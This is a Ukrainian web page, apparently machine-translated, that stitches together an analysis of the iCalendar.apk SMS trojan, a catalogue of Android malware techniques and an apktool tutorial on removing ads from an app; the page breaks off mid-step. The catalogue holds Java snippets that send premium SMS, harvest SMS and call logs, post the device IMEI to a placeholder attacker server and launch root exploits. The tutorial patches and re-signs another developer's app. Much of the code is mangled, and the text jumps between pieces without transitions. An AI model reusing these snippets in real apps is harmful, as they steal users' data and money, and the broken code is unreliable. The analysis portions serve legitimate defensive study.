Опис шкідливих програм для Android. Запис інформації користувача в текстовий файл

18.05.2020 Новини

Опис шкідливих програмних засобівдля Android

Alexander Antipov

У доповіді компанії McAfee про стан потенційних загроз у першій чверті цього року вказувалося наявність 6 млн. виявлених унікальних зразків шкідливого програмного забезпечення.


У доповіді компанії McAfee про стан потенційних загроз у першій чверті цього року вказувалося наявність 6 млн. виявлених унікальних зразків шкідливого програмного забезпечення. У цьому сенсі 1 квартал 2011 року виявився найрезультативнішим за кількістю виявлених шкідливих програм порівняно з аналогічними періодами всіх минулих років. У звіті McAfee було зазначено, що пристрої Android все частіше перетворюються на рознощиків шкідливих програмних засобів. На думку фахівців Android, у першому кварталі цього року став другим за популярністю серед зловмисників мобільним об'єктом для вторгнення після Symbian.

У цій статті ми збираємося провести Вас через різні етапи аналізу програмного забезпечення, тим самим дозволивши Вам зрозуміти, у чому конкретно полягають вразливості платформи Androidі як зловмисники ними користуються. Насамперед, ми почнемо з обговорення історії розробки Android, а потім перейдемо до основ функціонування пакетів конфігурації платформи. Паралельно ми будемо в деталях аналізувати всі шкідливі програми, що зустрічаються, орієнтовані саме на Android.

Введення в платформу Android

Android є операційною системою для стільникових телефонів, комунікаторів, планшетних комп'ютерівта інших пристроїв, засновану на базі ядра Linux. Програми для Android розробникипишуть в основному мовою Java, передбачаючи керування пристроєм за допомогою розробленої компанією Google, Java бібліотеки. Android компілятор Java компілює набір файлів розробника у файли класів, а потім клас файли перетворюються на файли dex. Ці файли мають байт-код, який спеціально застосовується для розпізнавання. віртуальної машини Dalvik - середовище виконання байт-кодів Java-додатку (JVM), що працює на спеціальному додаткудля Android. XML-файли перетворюються на двійковий формат, оптимізований для створення невеликих файлів. Файли.dex, двійкові файли XMLта інші ресурси, необхідні для запуску програм, упаковуються у файл пакету Android. Ці файли мають розширення.apk, але є стандартними файлами ZIP. Як тільки пакет apk сформований, на нього наноситься цифровий підпис розробника, і він завантажується на Android Market через веб-сайт Google, звідки ви можете завантажити ці apk-файли і встановити їх на свій Android пристрій. В даний час існує більше 2 мільйонів доступних для завантаження додатків у центральному сховищі для Android додатків, і крім цього не варто забувати, що Google AndroidПрограми можуть бути завантажені і з інших сторонніх сайтів.

Вимоги

  • Інструмент для розпакування файлів формату apk- Winzip
  • Інструмент для перетворення файлів.dex на файли.jar:.. Dex2jar
  • Графічна утиліта для декомпіляції Java: JD-GUI
  • Зразки шкідливих програм, орієнтованих на Android для аналізу

Детальні кроки

Крок I:
Для ініціювання процедури аналізу шкідливого програмного забезпечення, спочатку необхідно завантажити шкідливий зразок, орієнтований на платформу Android. У цьому випадку, ми будемо завантажувати iCalendar.apk, який став одним з 11 підозрілих програм віддалених з Android Market, оскільки в ньому було виявлено вміст шкідливих програм у Gadget Media. Перевірка запиту на VirusTotal показала рівень виявлення 46,5%, що показано нижче.


Рис. 1

Крок ІІ:

Вилучення iCalendar.apk файлу за допомогою Winzip, після чого можна переглянути вміст файлу.apk

Рис. 2. .dex в. XML-файли, які раніше обговорювалися в цій статті наведені на рис. 2.

Крок ІІІ:

Наступним кроком буде виконання коду за допомогою інструмента "dex2jar". Комплект інструментів dex2jar перетворює файли, що виконуються в Dalvik .dex, в Java .class файли. "Classes.dex" - файл з нашої програми потрапляє до каталогу dex2jar " і перетворюється за допомогою наступної команди: dex2jar.bat classes.dex.

Рис. 3 Створення файлів "classes.dex.dex2jar.jar" в одному каталозі.

Рис. 4

Крок IV:

Ми використовували JD-GUI для перегляду .class файлів. Відкриваємо файл "Classes.dex.dex2jar.jar" з використанням JD-GUI.

Рис. 5: Показано повний вихідний кодпрограм для Android.

Крок V:
Після отримання вихідного коду програми можна виконати аналіз фактичного джерела та провести перевірку на наявність неполадок. Було зазначено, що файл з ім'ям класу "SmsReceiver.class" виглядає дещо дивно, адже це календар програми, і SmsReceiver у цьому випадку не потрібний. При подальшому огляді вихідного коду "SmsReceiver.class" було встановлено, що він містить три номери 1066185829, 1066133 і 106601412004, що виглядають досить підозрілими. Зокрема, ситуація схожа на спробу блокування повідомлень, що вирушають із зазначених номерів на пристрій Android, коли цей додатокбуло встановлено та запущено.

Рис. 6

Після пошуку цих чисел через Google було встановлено, що це номери SMS сервісу, що належить компанії China Mobile (рис. 7).

Рис. 7

Ми намагалися проаналізувати, чому програма намагається заблокувати звіти про доставку з вищезазначених номерів у наступних діях.

Крок VI:
Після закінчення аналізу файлу "SmsReceiver.class", переходимо до аналізу коду наступного файла.class, тобто. "iCalendar.class". Перший з них виглядає підозрілим. Зокрема, ми помітили, що у функції showImg() була присутня певна функція sendSms().

Рис. 8

Отже, ми ініціювали перевірку файлу "sendSms()", щоб побачити особливості виконання команд. Як показано на малюнку нижче, ми бачимо, що коли функцію sendSms() активовано, на номер 1066185829 автоматично надсилається SMS із текстом 921X1.

Рис. 9

Крок VII:
Наприкінці функції sendSms() ми помітили наявність команди збереження функції. Таким чином ми шукали функцію збереження () всередині коду і знайшли її безпосередній взаємозв'язок з функцією sendSms().

Рис. 10

Після проведення відповідного аналізу та з'ясування різних аспектів роботи функції save() було встановлено, що рядок "Y" проходить щоразу при виконанні функції save(). Крім того, був зроблений висновок, що функція sendSms() може бути викликана лише один раз, але не більше, оскільки існує цикл "if" встановлений для функції sendSms().

Крок VIII:
Об'єднавши результати всього проведеного аналізу, можна отримати чітке уявлення про повне функціонування різноманітних шкідливих програм.

Програма надсилає SMS на преміум номер 1066185829 з текстом 921X1. Паралельно блокуються будь-які вхідні звіти про доставку повідомлень на цей номер, і в результаті жертва не отримає жодного сигналу про існування такої SMS, надісланої додатком до фоновому режимі. Крім того, SMS посилається лише один раз, і жертва фактично ніяк не може запідозрити, чим насправді було викликано списування коштів з рахунку.

Рис. 11: Повні висновки про шкідливі програми циклу iCalendar.apk

Висновок:

Шкідлива програма з root доступом до телефону не просто має можливість здійснювати читання будь-яких даних, що зберігаються на ньому, але й здатна передати їх у будь-яке місце. Дана інформаціяможе включати в себе контактну інформацію, документи та навіть паролі для рахунків. При наявності root доступуіснує можливість встановити й інші компоненти, недоступні для перегляду користувальницькому інтерфейсітелефону, внаслідок чого їх можна легко видалити. Основні способи захисту програм від шкідливих програм для платформи Android наведені нижче:
  • Завантаження програми лише з надійних джерел;
  • Перевірка відповідних рейтингів та оглядів, до завантаження програми;
  • Уважна оцінка дозволів конкретних додатків;
  • Встановлення ОС Android оновлень, у міру їхньої готовності;
  • Встановлення програм захисту мобільних додатків.

У документі наведено приклад збитків, що завдаються шкідливим програмним забезпеченням користувачам, які нічого не підозрюють. Якщо людина не здогадується про її існування, то таким програмам стає доступним виконання практично будь-яких несанкціонованих дій у фоновому режимі. Робота шкідливих програм може спричинити фінансові втрати для користувача шляхом списання коштів з його балансів, а також крадіжки паролів. Крім цього, вони можуть стати причиною пошкодження самого телефону. Як бачите, дуже важливо своєчасно застосовувати адекватні запобіжні заходи для запобігання проникненню додатків такого роду у Ваш телефон. Краще один раз перестрахуватися, аніж потім десять разів пошкодувати.

У колекції шкідливих додатків Android деяких антивірусних лабораторій міститься вже понад 10 мільйонів зразків. Ця цифра розбурхує уяву, але приблизно 9 мільйонів 995 тисяч із них - перейменовані копії оригінальних вірусів. Але якщо проаналізувати вихідний код кількох тисяч зразків малварі, що залишилися, то можна помітити, що всі вони комбінуються з невеликої кількості унікальних функціональних блоків (кілька видозмінених і по-різному скомбінованих).

Вся справа в тому, що вірмейкер найчастіше переслідують вельми тривіальні завдання:

  • відправити есемеску на платний номер;
  • заволодіти конфіденційною інформацієюкористувача ( телефонними номерами, текстами повідомлень, даними з SD-карти тощо);
  • зібрати дані про заражений пристрій;
  • оволодіти адміністраторськими правами на пристрої (для встановлення додатків без дозволу власника або для зловмисного виведення апарату з ладу);
  • відстежити логіни, паролі та дані платіжних карток, які користувач вводить на сайтах систем інтернет-банкінгу. Як вони це роблять? Спробуємо проникнути у похмурий світ мобільного вірмейкінгу та подивитися, що там відбувається.

Надсилання SMS

Хто використовує:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Найпоширенішим типом вірусів є SMS-трояни. Ці віруси просто надсилають повідомлення на платні номерибез згоди користувача. Створити таку програму або переписати готову під потрібний номерДуже легко. Та й процес отримання вигоди гранично спрощений - на відміну, наприклад, відстеження банківських даних.

Далі наведено найпростіший прикладкоду. Це елементарна функція надсилання SMS. Її можна ускладнити перевіркою статусу відправки, вибором номерів залежно від місця розташування абонента та подальшим видаленням SMS.

Private static SendSms (String DestNumber, String SmsText) ( // Спроба запуску методу sendTextMessage об'єкта SmsManager ( стандартна програмадля надсилання SMS у поточного пристрою) з мінімальною кількістюпараметрів: номер одержувача та текст повідомлення try( SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; ) )

Де шукати код вірусу

В більшості випадків зараження телефону відбувається через встановлення програм. Будь-яка програма для Android існує у вигляді файлу з розширенням apk, який, по суті, є архівом. Переглянути його вміст можна з допомогою Android SDK, конвертер файлів APK в JAR і декомпілятор Java-байт-коду. Складання програми (APK) складається з наступних частин:

  • resources.arsc – таблиця ресурсів;
  • res (папка) - власне ресурси (іконки та інше);
  • META-INF (папка) - містить файли з таким вмістом: контрольні суми ресурсів, сертифікат програми та опис складання APK;
  • AndroidManifest.xml - різного роду службова інформація. У тому числі дозволи (permission), які програма запитує перед встановленням для своєї коректної роботи;
  • classes.dex - ти, напевно, чув, що в Android операційних системах весь код виконується за допомогою Dalvik virtual machine (починаючи з версії 4.4 з'являється підтримка ART), яка не розуміє звичайний Java-байт-код. Тому існують файли з розширенням dex. У ньому, поряд з потрібними та корисними класами (які відповідають за функціонал програми), містяться також і шкідливі (вірусний код, який ми розуміємо у цій статті).

Запис інформації користувача в текстовий файл

Хто використовує:

  • NickySpy;
  • SmsSpy.

Існує категорія вірусів, яка полює на персональні дані користувачів. Механізм їхньої дії також нескладний. Вони або завантажують на сервер свого автора файли користувача, або попередньо збирають будь-які дані в txt (CSV, XML - не важливо). Інтерес для зловмисників можуть представляти контакти будь-якого типу, повідомлення з різних месенджерів, медіафайли та інше.

SMS заражених користувачів особливо цінні номерами телефонів відправників та одержувачів - ними можна поповнити базу для спам-розсилок. Рідше такі віруси використовуються для зараження пристроїв конкретних особистостей - наступного разу, коли твоя дівчина запропонує тобі протестувати написане їй (ай, карамба! - Прим. ред.) додаток на Android, не втрачай пильності:).

// Вважаємо кількість SMS на пристрої arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходимо за циклом кожну SMS i=1 while (true) ( ​​if(i>=j) break; // Створюємо об'єкт SMS-повідомлення SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в рядкові змінні номер відправника, текст і час відправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формуємо з отриманих даних рядок і записуємо її в текстовий файл користувальницьким методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+ + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходимо до наступного повідомлення i+=1; ) Також спам-лист зручно поповнювати з історії викликів абонента. Ось такий код може запускатися при вхідному дзвінку: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) (// Кладемо в змінну номер абонента String phonenumber=paramIntent.getStringExtra("android.intent). extra.PHONE_NUMBER"); // Формуємо рядок з номера та дати дзвінка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Викликаємо метод WriteRec() (його код тут не наводиться), який додає рядок у текстовий файл з історією дзвінків WriteRec(paramContext, "phonecall.txt", PhoneCallRecord);

Після того, як інформація записана, вона переправляється в «потрібні руки». Наведений нижче код завантажує історію дзвінків на сервер:

Private void uploadPhonecallHistory() throws IDException ( while(true) ( ​​return; // Перевіряємо, чи є потрібний нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Створюємо об'єкт - завантажувач файлів UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); ) )

Збір інформації

Хто використовує:

  • DroidKungFu;
  • DroidDream;
  • переважна більшість малварі всіх аналогічних.

У принципі, будь-якому вірусмейкеру корисна інформація про заражені його програмами пристрої. Отримати її дуже просто. Створюється масив із даними про властивості телефону (їх повний списокможна подивитися в посібнику Android-розробника) і відправляється POST-запитом до PHP-скрипту (мова непринципова) на сервері зловмисника, той обробляє дані та поміщає їх у базу даних для подальшого використання.

Private void reportState(int paramInt, string paramString) ( // Створюємо масив і кладемо в нього службову інформацію ArrayList UserInformation = New ArrayList (); UserInformation.add (New BasicNameValuePair ("imei", this.mImei)); new BasicNameValuePair("taskid", this.mTaskId));// Якщо у функції визначено параметр "paramString(коментар)", кладемо в масив та його if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Створюємо HTTP POST запит з адресою скрипта, який здійснює збір даних HttpPost localHttpPost = New HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try ( // Додаємо в запит наш масив з даними та виконуємо його за допомогою стандартного HTTP-клієнта localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8")))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; )

Рутінг

Хто використовує:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна з найнеприємніших речей, яка може статися з Android-пристроєм - це його рутинг вірусом. Адже після цього шкідлива програма може робити з ним будь-що: встановлювати інші віруси, змінювати налаштування апаратного забезпечення. Здійснюється це дійство шляхом послідовного запуску експлойтів:

Private void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - це копія знаменитого root-експлойта Rage Against The Cage. Kiall - зупинка всіх процесів, запущених поточним додатком. Gjsvro - експлойт для набуття прав udev (використання Linux-системах для розширеної роботи з апаратним забезпеченням і мережевими інтерфейсами) Все це копіюємо в потрібне місце */ .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); "); //І запускаємо за допомогою командного рядка Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/ bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packag eName + "/gjsvro"); new MyTread.start(); )

Сайти про мобільну мальвару

Блог експертів компанії Kasperskiy Lab Цей ресурс містить якісні та докладні статті про багато аспектів комп'ютерної безпеки, у тому числі і про Android-віруси. Варто регулярно відвідувати цей сайт, щоб бути в курсі останніх подій.

Група присвячена open source інструменту для всіляких маніпуляцій з кодом Android-додатків (декомпіляція та модифікація DEX/ODEX/APK файлів тощо). Androguard також містить велику основу статей для вірусів. Крім коротких оглядівфункціоналу та методів захисту, зустрічаються докладні аналізи коду малварі.


Розділ Mobile Threats www.fortiguard.com Енциклопедії телефонних вірусів. Кожна стаття – огляд функціоналу, приправлений значною кількістю технічних деталей. Крім інформації про загрози для операційної системи Android, є статті про віруси для Symbian OS, iOS та інших платформ.


Захист від вірусів

Деякі користувачі вважають, що якщо завантажувати програми виключно з Google Playі встановити на смартфон антивірус, то це повністю гарантує безпеку. Не варто зваблюватися: у Мережі регулярно з'являються повідомлення про знаходження малварі в офіційному маркеті. А кількість шкідливих програм, що знову з'явилися, вимірюється сотнями тисяч на місяць, що ускладнює їх своєчасне потрапляння в бази. антивірусних програм. Реальна гарантія безпеки може дати ручний перегляд коду APK-файлу перед встановленням його на телефон. Не потрібно бути гуру кодингу, щоб помітити шкідливі фрагменти. А наша стаття допоможе тобі у цьому.

Висновок

Як бачимо з прикладів, мобільний вірмейкінг технологічної складністю не відрізняється. Звичайно, дані приклади спрощені під формат журналу - перш за все, втрачені обробники помилок та винятків, а також окремі технічні дрібниці, відсутність яких не завадить тобі зрозуміти принципи роботи Android-малварі, але захистить від непотрібних експериментів. Адже ми не підтримуємо створення вірусів, чи не так? 🙂

Іноді деякі програми на Android чимось не влаштовують користувача. Як приклад можна навести настирливу рекламу. А то буває і так – усім хороша програма, та тільки переклад у ній або кривою, або зовсім відсутня. Або, наприклад, програма тріальна, а отримати повну версіюможливості немає. Як змінити ситуацію?

Вступ

У цій статті ми поговоримо про те, як розібрати пакет APK з програмою, розглянемо його внутрішню структуру, дизассемблуємо та декомпілюємо байт-код, а також спробуємо внести до додатків кілька змін, які можуть принести нам ту чи іншу вигоду.

Щоб зробити все це самостійно, знадобляться хоча б початкові знання мови Java, на якій пишуться програми для Android, і мови XML, яка використовується в Android повсюдно - від опису самої програми та її прав доступу до зберігання рядків, які будуть виведені на екран. Також знадобиться вміння поводитися зі спеціалізованим консольним софтом.

Отже, що ж є пакет APK, в якому поширюється абсолютно весь софт для Android?

Декомпіляція додатків

У статті ми працювали тільки з дизассембльованим кодом програми, проте якщо у великі програми вносити серйозніші зміни, розібратися в коді smali буде набагато складніше. На щастя, ми можемо декомпілювати код dex Java-код, який буде хоч і не оригінальним і не компилируемым назад, але набагато легшим для читання та розуміння логіки роботи програми. Щоб зробити це, нам знадобляться два інструменти:

  • dex2jar - транслятор байт-коду Dalvik в байт-код JVM, на основі якого ми зможемо отримати код мовою Java;
  • jd-gui - сам декомпілятор, що дозволяє отримати з байт-коду JVM код Java, що читається. Як альтернативу можна використовувати Jad (www.varaneckas.com/jad); хоч він і досить старий, але в деяких випадках генерує код, що більш читається, ніж Jd-gui.

Використовувати їх слід так. Спочатку запускаємо dex2jar, вказуючи як аргумент шлях до apk-пакета:

%dex2jar.sh mail.apk

В результаті в поточному каталозі з'явиться Java-пакет mail.jar, який можна відкрити в jd-gui для перегляду Java-коду.

Пристрій APK-пакетів та їх отримання

Пакет програми Android, по суті, є звичайним ZIP-файлом, для перегляду вмісту та розпакування якого ніяких спеціальних інструментів не потрібно. Достатньо мати архіватор – 7zip для Windows або консольний unzip у Linux. Але це щодо обгортки. А що всередині? Усередині ж у нас у загальному випадку така структура:

  • META-INF/- містить цифровий сертифікат програми, що засвідчує його творця, та контрольні суми файлів пакета;
  • res/ - різні ресурси, які додаток використовує у своїй роботі, наприклад, зображення, декларативний опис інтерфейсу, а також інші дані;
  • AndroidManifest.xml- Опис програми. Сюди входить, наприклад, список необхідних дозволів, потрібна версія Androidта необхідна роздільна здатність екрана;
  • classes.dex- компільований байт-код програми для віртуальної машини Dalvik;
  • resources.arsc- теж ресурси, але іншого роду - зокрема рядки (так-так, цей файл можна використовувати для русифікації!).

Перелічені файли та каталоги є якщо не у всіх, то, мабуть, в більшості APK. Однак варто згадати ще кілька не настільки поширених файлів/каталогів:

  • assets- Аналог ресурсів. Основна відмінність - для доступу до ресурсу необхідно знати його ідентифікатор, список asset'ів можна отримувати динамічно, використовуючи метод AssetManager.list() в коді програми;
  • lib– нативні Linux-бібліотеки, написані за допомогою NDK (Native Development Kit).

Цей каталог використовують виробники ігор, розміщуючи туди двигун гри, написаний на C/C++, а також творці високопродуктивних додатків (наприклад, Google Chrome). З пристроєм розібралися. Але як же отримати сам файл пакета програми, що цікавить? Оскільки без рута з пристрою забрати файли APK неможливо (вони лежать у каталозі /data/app), а рутити не завжди доцільно, є як мінімум три способи отримати файл програми на комп'ютер:

  • розширення APK Downloader для Chrome;
  • додаток Real APK Leecher;
  • різні файлообмінники та варезники.

Який із них використовувати - справа смаку; ми вважаємо за краще використовувати окремі додаткиТому опишемо використання Real APK Leecher, тим більше що написаний він на Java і, відповідно, працюватиме хоч у вінді, хоч у ніксах.

Після запуску програми необхідно заповнити три поля: Email, Password та Device ID - та вибрати мову. Перші два - e-mail та пароль твого гуглоаккаунта, який ти використовуєш на пристрої. Третій є ідентифікатором пристрою, і його можна отримати, набравши на номеронабирачі код # #8255## а потім знайшовши рядок Device ID. При заповненні треба ввести лише ID без префікса android-.

Після заповнення та збереження нерідко вискакує повідомлення "Error while connecting to server". Воно не має відношення до Google Play, тому сміливо його ігноруй і шукай пакети, які тебе цікавлять.

Перегляд та модифікація

Припустимо, ти знайшов пакет, що тебе цікавить, скачав, розпакував… і при спробі перегляду якого-небудь XML-файлу з подивом виявив, що файл не текстовий. Чим же його декомпілювати та як взагалі працювати з пакетами? Невже потрібно ставити SDK? Ні, SDK ставити не обов'язково. Насправді для всіх кроків розпакування, модифікації та упаковки пакетів APK потрібні наступні інструменти:

  • архіватор ZIPдля розпакування та запакування;
  • smali- асемблер/дизассемблер байт-коду віртуальної машини Dalvik (code.google.com/p/smali);
  • aapt- інструмент для запакування ресурсів (за замовчуванням ресурси зберігаються у бінарному вигляді для оптимізації продуктивності програми). Входить до складу Android SDK, але може бути отриманий окремо;
  • signer- Інструмент для цифрового підпису модифікованого пакета (bit.ly/Rmrv4M).

Використовувати всі ці інструменти можна і окремо, але це незручно, тому краще скористатися високорівневим софтом, побудованим на їх основі. Якщо ти працюєш у Linux або Mac OS X, то є інструмент під назвою apktool . Він дозволяє розпаковувати ресурси в оригінальний вигляд (у тому числі бінарні XML- та arsc-файли), перезбирати пакет із зміненими ресурсами, але не вміє підписувати пакети, так що запускати утиліту signer доведеться вручну. Незважаючи на те, що утиліта написана на Java, її установка досить нестандартна. Спочатку слід отримати сам jar-файл:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

Якщо ж ти працюєш у Windows, то для неї є чудовий інструмент під назвою Virtuous Ten Studio, який також акумулює всі ці інструменти (включаючи сам apktool), але замість CLI-інтерфейсу надає користувачеві інтуїтивно зрозумілий графічний інтерфейс, за допомогою якого можна виконувати операції з розпакування, дизассемблювання та декомпіляції в кілька кліків. Інструмент цей Donation-ware, тобто іноді з'являються віконця з пропозицією отримати ліцензію, але це, зрештою, можна і зазнати. Описувати його не має сенсу, тому що розібратися в інтерфейсі можна за кілька хвилин. А ось apktool, внаслідок його консольної природи, слід обговорити докладніше.


Розглянемо налаштування apktool. Якщо коротко, то є три основні команди: d(decode), b(build) та if(install framework). Якщо з першими двома командами все зрозуміло, що робить третя, умовний оператор? Вона розпаковує вказаний UI-фреймворк, який необхідний у тих випадках, коли ти препаруєш будь-який системний пакет.

Розглянемо найцікавіші опції першої команди:

  • -s- не дизасемблювати файли dex;
  • -r- не розпаковувати ресурси;
  • -b- не вставляти налагоджувальну інформацію в результати дизасемблювання файлу dex;
  • --frame-path- використовувати вказаний UI-фреймворк замість вбудованого в apktool. Тепер розглянемо пару опцій для команди b:
  • -f- форсоване складання без перевірки змін;
  • -a- вказуємо шлях до aapt (засіб для збирання APK-архіву), якщо ти з якоїсь причини хочеш використовувати його з іншого джерела.

Користуватися apktool дуже просто, для цього достатньо вказати одну з команд і шлях до APK, наприклад:

$apktool d mail.apk

Після цього в каталозі mail з'являться всі вилучені та дизассембльовані файли пакета.

Препарування. Відключаємо рекламу

Теорія – це, звичайно, добре, але навіщо вона потрібна, якщо ми не знаємо, що робити з розпакованим пакетом? Спробуємо застосувати теорію з користю собі, саме модифікуємо якусь софтину те щоб вона показувала нам рекламу. Для прикладу нехай це буде Virtual Torch – віртуальний смолоскип. Для нас ця софтина підійде ідеально, тому що вона під зав'язку набита дратівливою рекламою і до того ж досить проста, щоб не загубитися в нетрях коду.


Отже, за допомогою одного з наведених способів завантажуй додаток з маркету . Якщо ти вирішив використовувати Virtuous Ten Studio, просто відкрий APK-файл у додатку і розпакуй його, для чого створи проект (File -> New project), потім у контекстному менюпроекту виберіть Import File. Якщо ж твій вибір припав на apktool, достатньо виконати одну команду:

$apktool d com.kauf.particle.virtualtorch.apk

Після цього у каталозі com.kauf.particle.virtualtorch з'явиться файлове дерево, схоже на описане у попередньому розділі, але з додатковим каталогом smali замість dex-файлів та файлом apktool.yml. Перший містить дизассембльований код виконуваного dex-файлу програми, другий - службову інформацію, необхідну apktool для складання пакета назад.

Перше місце, куди ми повинні заглянути, це, звичайно ж, AndroidManifest.xml. І тут ми відразу зустрічаємо наступний рядок:

Неважко здогадатися, що вона відповідає за надання додатку повноважень використання інтернет-з'єднання. По суті, якщо ми хочемо просто позбавитися реклами, нам, швидше за все, достатньо буде заборонити додатку інтернет. Спробуємо це зробити. Видаляємо вказаний рядок і пробуємо зібрати софтину за допомогою apktool:

$apktool b com.kauf.particle.virtualtorch

У каталозі com.kauf.particle.virtualtorch/build/ з'явиться результуючий файл APK. Однак встановити його не вийде, оскільки він не має цифрового підпису та контрольних сум файлів (у ньому просто немає каталогу META-INF/). Ми повинні підписати пакет за допомогою утиліти apk-signer. Запустили. Інтерфейс складається з двох вкладок – на першій (Key Generator) створюємо ключі, на другій (APK Signer) підписуємо. Щоб створити наш приватний ключ, заповнюємо такі поля:

  • Target File- Вихідний файл сховища ключів; у ньому зазвичай зберігається одна пара ключів;
  • Passwordі Confirm- пароль для сховища;
  • Alias- ім'я ключа у сховищі;
  • Alias ​​passwordі Confirm- пароль секретного ключа;
  • Validity- Термін дії (у роках). Значення за промовчанням оптимальне.

Інші поля, загалом, необов'язкові - але потрібно заповнити хоча б одне.


WARNING

Щоб підписати програму за допомогою apk-signer, ти маєш встановити Android SDK і вказати повний шлях до нього в налаштуваннях програми.

Вся інформація надана виключно для ознайомлення. Ні редакція, ні автор не несуть відповідальності за будь-яку можливу шкоду, заподіяну матеріалами цієї статті.

Тепер цим ключем можна підписати APK. На вкладці APK Signer вибираємо щойно згенерований файл, вводимо пароль, аліас ключа та пароль до нього, потім знаходимо файл APKі сміливо тиснемо кнопку "Sign". Якщо все пройде нормально, пакет буде підписано.

INFO

Так як ми підписали пакет нашим власним ключем, він конфліктуватиме з оригінальним додатком, а це означає, що при спробі оновити софтину через маркет ми отримаємо помилку.

Цифровий підпис необхідний лише сторонньому софту, тому якщо ти займаєшся модифікацією системних додатків, які встановлюються копіюванням в каталог /system/app/, підписувати їх не потрібно.

Після цього скидаємо пакет на смартфон, встановлюємо та запускаємо. Вуаля, реклама зникла! Замість неї, однак, з'явилося повідомлення, що ми не маємо інтернету або відсутні відповідні дозволи. За ідеєю, цього могло б і вистачити, але повідомлення виглядає дратівливо, та й, якщо чесно, нам просто пощастило з тупим додатком. Нормально написана софтина, швидше за все, уточнить свої повноваження або перевірить наявність інтернет-з'єднання і інакше просто відмовиться запускатися. Як бути у цьому випадку? Звісно, ​​правити код.

Зазвичай автори додатків створюють спеціальні класи для виведення реклами та викликають методи цих класів під час запуску програми або однієї з його активностей (спрощено кажучи, екранів програми). Спробуймо знайти ці класи. Ідемо до каталогу smali, далі com (в org лежить тільки відкрита графічна бібліотека cocos2d), далі kauf (саме туди, тому що це ім'я розробника і там лежить весь його код) – і ось він, каталог marketing. Усередині знаходимо купу файлів із розширенням smali. Це класи, і найбільш примітний їх клас Ad.smali, за назвою якого неважко здогадатися, що він виводить рекламу.

Ми могли б змінити логіку його роботи, але набагато простіше буде тупо прибрати виклики будь-яких його методів із самого застосування. Тому виходимо з каталогу marketing і йдемо в сусідній каталог particle, а потім у virtualtorch. На особливу увагу тут заслуговує файл MainActivity.smali. Це стандартний для Android клас, який створюється Android SDK і встановлюється як точка входу в програму (аналог функції main в Сі). Відкриваємо файл для редагування.

Усередині знаходиться код smali (місцевий асемблер). Він досить заплутаний і важкий для читання через свою низькорівневу природу, тому ми не будемо його вивчати, а просто знайдемо всі згадки класу Ad в коді і закоментуємо їх. Вбиваємо рядок «Ad» у пошуку та потрапляємо на рядок 25:

Field private ad:Lcom/kauf/marketing/Ad;

Тут створюється поле ad для зберігання об'єкта класу Ad. Коментуємо за допомогою налаштування знака ### перед рядком. Продовжуємо пошук. Рядок 423:

New-instance v3, Lcom/kauf/marketing/Ad;

Тут відбувається створення об'єкта. Коментуємо. Продовжуємо пошук та знаходимо у рядках 433, 435, 466, 468, 738, 740, 800 та 802 звернення до методів класу Ad. Коментуємо. Наче все. Зберігаємо. Тепер пакет необхідно зібрати назад та перевірити його працездатність та наявність реклами. Для чистоти експерименту повертаємо віддалений з AndroidManifest.xml рядок, збираємо пакет, підписуємо та встановлюємо.

Наш піддослідний кролик. Видна реклама

Оп-па! Реклама зникла лише під час роботи програми, але залишилася у головному меню, яке ми бачимо, коли запускаємо софтину. Так, зачекайте, але ж точка входу - це клас MainActivity, а реклама зникла під час роботи програми, але залишилася в головному меню, отже, точка входу інша? Щоб виявити дійсну точку входу, знову відкриваємо файл AndroidManifest.xml. І так, у ньому є такі рядки:

Вони говорять нам (і, що важливіше, андроїду) про те, що активність з ім'ям Start має бути запущена у відповідь на генерацію інтенту (події) android.intent.action.MAIN із категорії android.intent.category.LAUNCHER. Ця подія генерується при тапі на іконку програми в ланчері, тому вона визначає точку входу, а саме клас Start. Швидше за все, програміст спочатку написав програму без головного меню, точкою входу до якого був стандартний клас MainActivity, а потім додав нове вікно (активність), що містить меню та описане в класі Start, і вручну зробив його точкою входу.

Відкриваємо файл Start.smali і знову шукаємо рядок Ad, знаходимо в рядках 153 і 155 згадування класу FirstAd. Він теж є у вихідниках і, судячи з назви, таки відповідає за показ оголошень на головному екрані. Дивимося далі, йде створення екземпляра класу FirstAd та інтенту, що за контекстом має відношення до цього екземпляра, а далі мітка cond_10, умовний перехід на яку здійснюється якраз перед створенням екземпляра класу:

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

Швидше за все, програма якимось випадковим чином обчислює, чи потрібно показувати рекламу на головному екрані, і якщо ні, перескакує відразу на cond_10. Ок, спростимо їй завдання та замінимо умовний перехід на безумовний:

